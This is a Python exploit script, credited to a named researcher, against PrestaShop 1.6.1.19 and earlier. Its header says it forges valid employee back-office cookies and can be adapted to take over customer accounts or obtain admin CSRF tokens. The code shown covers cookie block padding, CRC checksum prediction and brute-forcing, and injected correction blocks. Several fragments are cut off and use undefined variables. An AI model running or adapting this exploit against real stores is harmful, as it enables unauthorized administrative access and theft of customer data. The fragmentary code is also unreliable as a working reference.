#!/usr/bin/env python3 # PrestaShop <= 1.6.1.19 Privilege Escalation # Charles Fol # 2018-07-10 # # See https://ambionics.io/blog/prestashop-privilege-escalation # # # The condition for this exploit to work is for an employee to have the same # password as a customer. The exploit will yield a valid employee cookie for # back office access. # # With a bit of tweaking, one can modify the exploit to access any customer # account, get access to statistics, coupons, etc. or get an admin CSRF token. # # The attack may fail for a variety of reasons, including me messing up the # padding somewhere. You might need to run the exploit several times. # # POSSIBLE IMPROVEMENTS # - Improve the employee detection method # - Implement the RCE step #

def pad_lastname(self, offset): """Get a cookie where the value we want to read, which is offset bytes away from the last character of the lastname, is aligned with SIZE_BLOCK and therefore at the beginning of a block. """ padding, block = pb(bl(FIRSTNAME) + offset)

class CRCPredictor: """Implements the resolution of the CRC system of equation. It works by iterating on a set of possible values.

For instance, let's say we obtained 3 as the last digit for cookie A. The only possible CRCs at this point are the ones whose last digit is 3. So, we store them. The CRCs for the next cookie, B, must necessarily validate the equation: CRC(B) = CRC(A) ^ CRC(A ^ B) ^ C (C is constant). Therefore, we can update our stored checksums by xoring them with CRC(A ^ B) ^ C. The stored checksums are now the candidates for B. Now, let's say we obtain 5 as the last digit for B. We can throw away any candidate which does not end with 5. By repeating this, we will reach a valid checksum fairly quickly. """

def purge_candidates(self, digits): """Removes candidates that do not end with given digits, and candidates with less than 10 digits. """ ORDER = self.ORDER candidates = self.candidates

if candidates is not None: candidates = [ c for c in candidates if c % ORDER == digits ] # The very first set of candidates (before the first char) is the # entirety of [0, 2**32-1], which is way too big, so we only compute # candidates after the two first digits have been set. elif self.digits is None: self.digits = digits else: print("Generating first solution range (takes some time) ...") d = self.delta(self.payloads[-2], self.payloads[-1]) candidates = [ i ^ d for i in range(10 ** 9 + self.digits, 0x100000000, ORDER) if (i ^ d) % ORDER == digits ]

self.candidates = candidates

def has_solution(self): """Returns true if the system has been solved. """ return self.candidates is not None and len(self.candidates) <= 1

def discover_crc(self): """By correctly padding the cookie, we can force the last digit of the CRC to be in the last block, on its own. From this, and by using the email field to translate, we can guess what this digit is by replacing the last block by 0xxxxxx, 1xxxxxx, 2xxxxxx, etc. until the cookie is accepted. Then, we can slightly change the cookie's content, and obtain the last digits for the new checksum. Due to the fact that CRC is affine, we can build an equation on the last two digits of these checksums. By repeating the operation, we get a set of equations, and solving it reveals the value of the checksum.

Returns a magic cookie and its checksum. """

print('Discovering CRC checksum...')

lo_digits = 1 nb_requests = 0

encrypted_numbers = self.encrypted_numbers

# We only work with 10-digit checksums, and the probability of not # getting any 10-digit checksum over 10 requests is equal to 4.68e-07, # so we'll iterate 10 times and keep the longest cookie

# Bruteforce the last digit of the checksum by replacing the last # block by an encrypted number until it works for n in candidates: cookie.blocks[-2] = encrypted_numbers[n] print('%s %d %s' % (payload, n, cookie.blocks[-2]), end='\r')

def eat_checksum(self, rotations, read_blocks): """Adds a correction block to the cookie so that the checksum stays the same, and the last key/value pair is freed. End represents the plaintext that is meant to be added after the correction block.

Initial cookie end: ¤checksum|1234567890 New cookie end: ¤checksum|1234567890 ABCDEFGH Where ABCDEFGH is the correction block. New cookie end with added KVP: ¤checksum|1234567890 ABCDEFGH¤customer_lastname|ABC...

This allows to add another key/value pair, which won't be included in the checksum computation, at the end of the cookie. This pair can be anything and therefore include blocks with unknown plaintext. """

# Add a correction block such that the CRC of the cookie does not change # Note: the last block is supposed to be padded with spaces, but the # code is broken. It will add 1 space instead of 7 in our case, the # rest will be null bytes. added = 'checksum|%010d \x00\x00\x00\x00\x00\x00' % self.checksum current_checksum = crc32(added.encode(), self.checksum)